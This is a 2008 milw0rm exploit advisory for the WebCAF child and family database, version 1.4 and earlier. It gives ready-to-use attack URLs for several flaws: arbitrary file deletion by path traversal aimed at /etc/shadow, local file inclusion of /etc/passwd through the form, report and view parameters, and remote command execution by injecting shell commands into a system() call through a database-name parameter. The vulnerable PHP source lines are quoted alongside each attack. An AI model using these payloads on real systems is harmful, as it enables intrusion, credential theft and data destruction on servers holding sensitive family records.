:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ Discovered by dun \ dun[at]strcpy.pl ]
#########################################################
# [ webcaf <= 1.4 ] Multiple Remote Vulnerabilities #
#########################################################
#
# Script: "WebCAF is a web-based child and family database developed by Head Start of Lane County..."
#
# Script site: http://www.webcaf.org/
# Download: http://www.webcaf.net/downloads/webcaf-1.4.tar.gz
#
# [Arbitrary File Delete Vulnerability]
# Vuln: http://site.com/webcaf/index.php?user_uid=../../../../../../etc/shadow ;)
#
# Bug: ./webcaf/index.php (lines: 49-50 and 61-63)
#
# ...
# // Login, if necessary
# if (!$user_uid) include("modules/login.php");
# ...
# if ($_REQUEST[op] != "update") {
# if (file_exists("local/tmp/.$user_uid")) unlink("local/tmp/.$user_uid");
# }
# ...
#
#
# [LFI]
# Vuln: http://strcpy.pl/webcaf/webcaf/?user_uid=1&op=forms&form=../../../../../../../../../../../../etc/passwd
# http://strcpy.pl/webcaf/webcaf/?user_uid=1&op=reports&report=../../../../../../../../../../../../etc/passwd
#
# Bug: ./webcaf/index.php (lines: 68-131)
#
# ...
# switch ($_REQUEST[op]) {
# ...
# case "forms":
# $_REQUEST[form] ? include("local/forms/$_REQUEST[form]") : include("modules/forms.php"); //LFI
# break;
# ...
# case "reports":
# $_REQUEST[report] ? include("local/reports/$_REQUEST[report]") : include("modules/reports.php"); //LFI
# break;
# ...
# }
# ...
#
# Vuln: http://strcpy.pl/webcaf/webcaf/modules/view.php?view=../../../../../../../../../../../etc/passwd%00
#
# Bug: ./webcaf/modules/view.php (lines: 12-21)
#
# ...
# if ($_REQUEST[view]) {
# ...
# include("views/$_REQUEST[view].php"); //LFI
# }
# ...
#
#
# [RCE]
# Vuln: http://site.com/webcaf/about.php?_WEBCAF[db_database]=asfa%22;id%3E/tmp/aaa.txt;false%20%22
#
# Bug: ./webcaf/index.php (lines: 127)
#
# ...
# $str_result = system("$str_mysql --database=\"$_WEBCAF[db_database]\" --user=\"$_WEBCAF[db_username]\" --password=\"$_WEBCAF[db_password]\" --html --execute=\"status\"");
# ...
#
# and a lot of other bugz...
#
#
###############################################
# Greetz: D3m0n_DE * str0ke * and otherz..
###############################################
[ dun / 2008 ]
*******************************************************************************************
# milw0rm.com [2008-12-08]
